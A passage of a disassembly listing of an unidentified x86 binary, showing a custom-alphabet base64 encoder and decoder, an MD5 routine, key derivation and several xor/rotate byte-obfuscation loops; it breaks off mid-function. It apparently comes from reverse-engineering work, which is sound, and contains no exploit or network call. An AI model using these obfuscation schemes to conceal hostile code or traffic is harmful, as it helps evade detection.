loc_40E94E: ; CODE XREF: sub_40E943+32j
mov eax, [ebp+var_4]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_40E960
jmp short locret_40E977
; ---------------------------------------------------------------------------
loc_40E960: ; CODE XREF: sub_40E943+19j
push [ebp+var_8]
call sub_407B5E
pop ecx
mov [ebp+var_4], eax
push [ebp+var_8]
call sub_40E618
pop ecx
jmp short loc_40E94E
; ---------------------------------------------------------------------------
locret_40E977: ; CODE XREF: sub_40E943+1Bj
leave
retn
sub_40E943 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E979 proc near ; CODE XREF: .text:004168D5p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_40E98A
; ---------------------------------------------------------------------------
loc_40E983: ; CODE XREF: sub_40E979+24j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40E98A: ; CODE XREF: sub_40E979+8j
cmp [ebp+var_4], 100h
jnb short loc_40E99F
mov eax, [ebp+var_4]
and byte_41E9B0[eax], 0
jmp short loc_40E983
; ---------------------------------------------------------------------------
loc_40E99F: ; CODE XREF: sub_40E979+18j
and [ebp+var_4], 0
jmp short loc_40E9AC
; ---------------------------------------------------------------------------
loc_40E9A5: ; CODE XREF: sub_40E979+4Cj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40E9AC: ; CODE XREF: sub_40E979+2Aj
cmp [ebp+var_4], 40h
jnb short locret_40E9C7
mov eax, [ebp+var_4]
movzx eax, byte_41A18C[eax]
mov cl, byte ptr [ebp+var_4]
mov byte_41E9B0[eax], cl
jmp short loc_40E9A5
; ---------------------------------------------------------------------------
locret_40E9C7: ; CODE XREF: sub_40E979+37j
leave
retn
sub_40E979 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp
; sub_40A9CF+E18p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 2
jnb short loc_40E9E8
xor eax, eax
jmp locret_40EB4C
; ---------------------------------------------------------------------------
loc_40E9E8: ; CODE XREF: sub_40E9C9+16j
and [ebp+var_4], 0
and [ebp+var_8], 0
loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj
push 1
pop eax
test eax, eax
jz loc_40EB48
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
inc eax
cmp eax, [ebp+var_C]
jnb short loc_40EA29
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
shl eax, 2
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov [ecx-1], al
jmp short loc_40EA2E
; ---------------------------------------------------------------------------
loc_40EA29: ; CODE XREF: sub_40E9C9+40j
jmp loc_40EB48
; ---------------------------------------------------------------------------
loc_40EA2E: ; CODE XREF: sub_40E9C9+5Ej
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_40EA66
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
sar eax, 4
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov cl, [ecx-1]
or cl, al
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
mov [eax-1], cl
jmp short loc_40EA6B
; ---------------------------------------------------------------------------
loc_40EA66: ; CODE XREF: sub_40E9C9+72j
jmp loc_40EB48
; ---------------------------------------------------------------------------
loc_40EA6B: ; CODE XREF: sub_40E9C9+9Bj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
inc eax
cmp eax, [ebp+var_C]
jnb short loc_40EA99
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
shl eax, 4
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov [ecx-1], al
jmp short loc_40EA9E
; ---------------------------------------------------------------------------
loc_40EA99: ; CODE XREF: sub_40E9C9+B0j
jmp loc_40EB48
; ---------------------------------------------------------------------------
loc_40EA9E: ; CODE XREF: sub_40E9C9+CEj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_40EAD6
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
sar eax, 2
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov cl, [ecx-1]
or cl, al
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
mov [eax-1], cl
jmp short loc_40EAD8
; ---------------------------------------------------------------------------
loc_40EAD6: ; CODE XREF: sub_40E9C9+E2j
jmp short loc_40EB48
; ---------------------------------------------------------------------------
loc_40EAD8: ; CODE XREF: sub_40E9C9+10Bj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
inc eax
cmp eax, [ebp+var_C]
jnb short loc_40EB06
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
shl eax, 6
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov [ecx-1], al
jmp short loc_40EB08
; ---------------------------------------------------------------------------
loc_40EB06: ; CODE XREF: sub_40E9C9+11Dj
jmp short loc_40EB48
; ---------------------------------------------------------------------------
loc_40EB08: ; CODE XREF: sub_40E9C9+13Bj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_40EB3A
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_4]
mov cl, [ecx-1]
or cl, byte_41E9B0[eax]
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
mov [eax-1], cl
jmp short loc_40EB3C
; ---------------------------------------------------------------------------
loc_40EB3A: ; CODE XREF: sub_40E9C9+14Cj
jmp short loc_40EB48
; ---------------------------------------------------------------------------
loc_40EB3C: ; CODE XREF: sub_40E9C9+16Fj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
jmp loc_40E9F0
; ---------------------------------------------------------------------------
loc_40EB48: ; CODE XREF: sub_40E9C9+2Cj
; sub_40E9C9:loc_40EA29j ...
mov eax, [ebp+var_4]
dec eax
locret_40EB4C: ; CODE XREF: sub_40E9C9+1Aj
leave
retn
sub_40E9C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB4E proc near ; CODE XREF: sub_40A9CF+292p
; sub_40A9CF+D12p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
and [ebp+var_4], 0
and [ebp+var_8], 0
and [ebp+var_C], 0
loc_40EB60: ; CODE XREF: sub_40EB4E:loc_40EC83j
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movzx eax, byte ptr [eax]
sar eax, 2
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
shl eax, 4
and eax, 30h
mov [ebp+var_4], al
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnz short loc_40EBC2
movzx eax, [ebp+var_4]
or al, 1
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
jmp loc_40EC88
; ---------------------------------------------------------------------------
loc_40EBC2: ; CODE XREF: sub_40EB4E+52j
movzx eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx]
sar ecx, 4
and ecx, 0Fh
or eax, ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movsx eax, byte ptr [eax]
shl eax, 2
and eax, 3Ch
mov [ebp+var_4], al
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnz short loc_40EC2A
movzx eax, [ebp+var_4]
or al, 1
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
jmp short loc_40EC88
; ---------------------------------------------------------------------------
loc_40EC2A: ; CODE XREF: sub_40EB4E+BDj
movzx eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx]
sar ecx, 6
or eax, ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 3Fh
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_C]
mov al, byte_41A18C[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnz short loc_40EC83
jmp short loc_40EC88
; ---------------------------------------------------------------------------
loc_40EC83: ; CODE XREF: sub_40EB4E+131j
jmp loc_40EB60
; ---------------------------------------------------------------------------
loc_40EC88: ; CODE XREF: sub_40EB4E+6Fj
; sub_40EB4E+DAj ...
mov eax, [ebp+arg_4]
add eax, [ebp+var_C]
and byte ptr [eax], 0
mov eax, [ebp+var_C]
leave
retn
sub_40EB4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EC96 proc near ; CODE XREF: sub_40A9CF+2FAp
; sub_40E618+FDp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_8], eax
and [ebp+var_4], 0
jmp short loc_40ECB4
; ---------------------------------------------------------------------------
loc_40ECAD: ; CODE XREF: sub_40EC96+3Aj
; sub_40EC96+4Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40ECB4: ; CODE XREF: sub_40EC96+15j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jge short loc_40ECE6
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
movzx eax, byte_41E9B0[eax]
test eax, eax
jz short loc_40ECD2
jmp short loc_40ECAD
; ---------------------------------------------------------------------------
loc_40ECD2: ; CODE XREF: sub_40EC96+38j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 41h
jnz short loc_40ECE2
jmp short loc_40ECAD
; ---------------------------------------------------------------------------
loc_40ECE2: ; CODE XREF: sub_40EC96+48j
xor eax, eax
jmp short locret_40ECE9
; ---------------------------------------------------------------------------
loc_40ECE6: ; CODE XREF: sub_40EC96+24j
push 1
pop eax
locret_40ECE9: ; CODE XREF: sub_40EC96+4Ej
leave
retn
sub_40EC96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECEB proc near ; CODE XREF: .text:004168EFp
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
lea eax, [ebp+var_58]
push eax
call sub_40F11F
pop ecx
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_58]
push eax
call sub_40F159
add esp, 0Ch
lea eax, [ebp+var_58]
push eax
push offset byte_41EAB4
call sub_40F26E
pop ecx
pop ecx
lea eax, byte_41EAB4
push 10h
pop edx
loc_40ED29: ; CODE XREF: sub_40ECEB+46j
mov cl, [eax]
rol cl, cl
mov [eax], cl
inc eax
dec edx
jnz short loc_40ED29
pop edi
pop esi
pop ebx
leave
retn
sub_40ECEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED38 proc near ; CODE XREF: sub_40A9CF+14p
; sub_41113B+159p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
xor ecx, ecx
xor eax, eax
loc_40ED45: ; CODE XREF: sub_40ED38+2Fj
mov cl, [esi]
test ecx, ecx
jz short loc_40ED69
cmp ecx, 61h
jb short loc_40ED53
sub ecx, 20h
loc_40ED53: ; CODE XREF: sub_40ED38+16j
and ecx, 7Fh
add eax, ecx
and ecx, 0Fh
mov cl, byte_41EAB4[ecx]
add eax, ecx
rol eax, 3
inc esi
jmp short loc_40ED45
; ---------------------------------------------------------------------------
loc_40ED69: ; CODE XREF: sub_40ED38+11j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40ED38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED6E proc near ; CODE XREF: .text:004168FDp
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
lea eax, [ebp+var_58]
push eax
call sub_40F11F
pop ecx
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_58]
push eax
call sub_40F159
add esp, 0Ch
lea eax, [ebp+var_58]
push eax
push offset dword_41EAC8
call sub_40F26E
pop ecx
pop ecx
lea esi, dword_41EAC8
mov edi, esi
push 10h
pop ecx
loc_40EDAE: ; CODE XREF: sub_40ED6E+48j
lodsb
xor al, 0AAh
add al, al
or al, 1
stosb
loop loc_40EDAE
pop edi
pop esi
pop ebx
leave
retn
sub_40ED6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EDBD proc near ; CODE XREF: sub_40EF29+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_40EDCE
; ---------------------------------------------------------------------------
loc_40EDC7: ; CODE XREF: sub_40EDBD+AFj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40EDCE: ; CODE XREF: sub_40EDBD+8j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jge locret_40EE71
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
sub al, 33h
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_8]
movzx eax, byte ptr [eax+edx]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov al, [eax]
sub al, [ecx+edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_8]
movzx eax, byte ptr [eax+edx]
not eax
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov cl, [ecx]
xor cl, al
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov [eax], cl
mov eax, [ebp+arg_4]
cdq
push 10h
pop ecx
idiv ecx
shl edx, 2
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
xor al, dl
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
add al, 1
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp loc_40EDC7
; ---------------------------------------------------------------------------
locret_40EE71: ; CODE XREF: sub_40EDBD+17j
leave
retn
sub_40EDBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EE73 proc near ; CODE XREF: sub_40EF41+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
jmp short loc_40EE84
; ---------------------------------------------------------------------------
loc_40EE7D: ; CODE XREF: sub_40EE73+AFj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40EE84: ; CODE XREF: sub_40EE73+8j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jge locret_40EF27
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
sub al, 1
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+arg_4]
cdq
push 10h
pop ecx
idiv ecx
shl edx, 2
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
xor al, dl
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_8]
movzx eax, byte ptr [eax+edx]
not eax
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov cl, [ecx]
xor cl, al
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov [eax], cl
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_8]
movzx eax, byte ptr [eax+edx]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov al, [eax]
add al, [ecx+edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
add al, 33h
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp loc_40EE7D
; ---------------------------------------------------------------------------
locret_40EF27: ; CODE XREF: sub_40EE73+17j
leave
retn
sub_40EE73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF29 proc near ; CODE XREF: sub_40A9CF+25Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_41EAC8
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40EDBD
add esp, 0Ch
pop ebp
retn
sub_40EF29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF41 proc near ; CODE XREF: sub_40A9CF+380p
; sub_40D871+7ADp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_41EAC8
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40EE73
add esp, 0Ch
pop ebp
retn
sub_40EF41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EF59 proc near ; CODE XREF: sub_40A9CF+271p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_4]
push [ebp+arg_0]
mov eax, [ebp+arg_0]
add eax, 4
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
call sub_410422
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, 4
mov [ebp+arg_0], eax
and [ebp+var_8], 0
jmp short loc_40EF91
; ---------------------------------------------------------------------------
loc_40EF8A: ; CODE XREF: sub_40EF59+7Ej
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_40EF91: ; CODE XREF: sub_40EF59+2Fj
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jge short loc_40EFD9
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
add al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
xor al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
push 1
push [ebp+var_4]
call sub_416DF6 ; _rotl
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
jmp short loc_40EF8A
; ---------------------------------------------------------------------------
loc_40EFD9: ; CODE XREF: sub_40EF59+3Ej
mov eax, [ebp+arg_4]
dec eax
mov [ebp+var_8], eax
jmp short loc_40EFE9
; ---------------------------------------------------------------------------
loc_40EFE2: ; CODE XREF: sub_40EF59+D4j
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
loc_40EFE9: ; CODE XREF: sub_40EF59+87j
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_40F02F
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
add al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
xor al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
push 1
push [ebp+var_4]
call sub_416DF6 ; _rotl
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
jmp short loc_40EFE2
; ---------------------------------------------------------------------------
loc_40F02F: ; CODE XREF: sub_40EF59+94j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov [eax-4], ecx
mov eax, [ebp+arg_4]
add eax, 4
leave
retn
sub_40EF59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F040 proc near ; CODE XREF: sub_40A9CF+366p
; sub_40D871+792p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
sub eax, 4
push eax
mov eax, [ebp+arg_0]
add eax, 4
push eax
push [ebp+arg_0]
call sub_416E02 ; memmove
add esp, 0Ch
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+arg_4], eax
and [ebp+var_8], 0
jmp short loc_40F07C
; ---------------------------------------------------------------------------
loc_40F075: ; CODE XREF: sub_40F040+82j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_40F07C: ; CODE XREF: sub_40F040+33j
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jge short loc_40F0C4
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_4], eax
push 1
push [ebp+var_4]
call sub_416DFC ; _rotr
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
xor al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
sub al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
jmp short loc_40F075
; ---------------------------------------------------------------------------
loc_40F0C4: ; CODE XREF: sub_40F040+42j
mov eax, [ebp+arg_4]
dec eax
mov [ebp+var_8], eax
jmp short loc_40F0D4
; ---------------------------------------------------------------------------
loc_40F0CD: ; CODE XREF: sub_40F040+D8j
mov eax, [ebp+var_8]
dec eax
mov [ebp+var_8], eax
loc_40F0D4: ; CODE XREF: sub_40F040+8Bj
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_40F11A
mov eax, [ebp+var_4]
sub eax, [ebp+var_8]
mov [ebp+var_4], eax
push 1
push [ebp+var_4]
call sub_416DFC ; _rotr
pop ecx
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
xor al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+arg_0]
add eax, [ebp+var_8]
mov al, [eax]
sub al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
jmp short loc_40F0CD
; ---------------------------------------------------------------------------
loc_40F11A: ; CODE XREF: sub_40F040+98j
mov eax, [ebp+arg_4]
leave
retn
sub_40F040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F11F proc near ; CODE XREF: sub_40ECEB+Dp
; sub_40ED6E+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax], 67452301h
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0EFCDAB89h
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 98BADCFEh
mov eax, [ebp+arg_0]
mov dword ptr [eax+0Ch], 10325476h
mov eax, [ebp+arg_0]
and dword ptr [eax+10h], 0
mov eax, [ebp+arg_0]
and dword ptr [eax+14h], 0
pop ebp
retn
sub_40F11F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F159 proc near ; CODE XREF: sub_40ECEB+1Dp
; sub_40ED6E+1Dp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax*8]
mov ecx, [ebp+arg_0]
mov [ecx+10h], eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
cmp eax, [ebp+var_4]
jnb short loc_40F18E
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
inc eax
mov ecx, [ebp+arg_0]
mov [ecx+14h], eax
loc_40F18E: ; CODE XREF: sub_40F159+26j
mov eax, [ebp+arg_8]
shr eax, 1Dh
mov ecx, [ebp+arg_0]
mov ecx, [ecx+14h]
add ecx, eax
mov eax, [ebp+arg_0]
mov [eax+14h], ecx
mov eax, [ebp+var_4]
shr eax, 3
and eax, 3Fh
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_40F21C
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax+18h]
mov [ebp+var_8], eax
push 40h
pop eax
sub eax, [ebp+var_4]
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
cmp eax, [ebp+var_4]
jnb short loc_40F1E8
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+var_8]
call sub_416B52 ; memcpy
add esp, 0Ch
jmp locret_40F26C
; ---------------------------------------------------------------------------
loc_40F1E8: ; CODE XREF: sub_40F159+77j
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+var_8]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 18h
push eax
push [ebp+arg_0]
call sub_40F3CE
pop ecx
pop ecx
mov eax, [ebp+arg_4]
add eax, [ebp+var_4]
mov [ebp+arg_4], eax
mov eax, [ebp+arg_8]
sub eax, [ebp+var_4]
mov [ebp+arg_8], eax
loc_40F21C: ; CODE XREF: sub_40F159+59j
; sub_40F159+FCj
cmp [ebp+arg_8], 40h
jb short loc_40F257
push 40h
push [ebp+arg_4]
mov eax, [ebp+arg_0]
add eax, 18h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F3CE
pop ecx
pop ecx
mov eax, [ebp+arg_4]
add eax, 40h
mov [ebp+arg_4], eax
mov eax, [ebp+arg_8]
sub eax, 40h
mov [ebp+arg_8], eax
jmp short loc_40F21C
; ---------------------------------------------------------------------------
loc_40F257: ; CODE XREF: sub_40F159+C7j
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_0]
add eax, 18h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
locret_40F26C: ; CODE XREF: sub_40F159+8Aj
leave
retn
sub_40F159 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F26E proc near ; CODE XREF: sub_40ECEB+2Ep
; sub_40ED6E+2Ep ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
mov eax, [eax+10h]
shr eax, 3
and eax, 3Fh
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_4]
lea eax, [ecx+eax+18h]
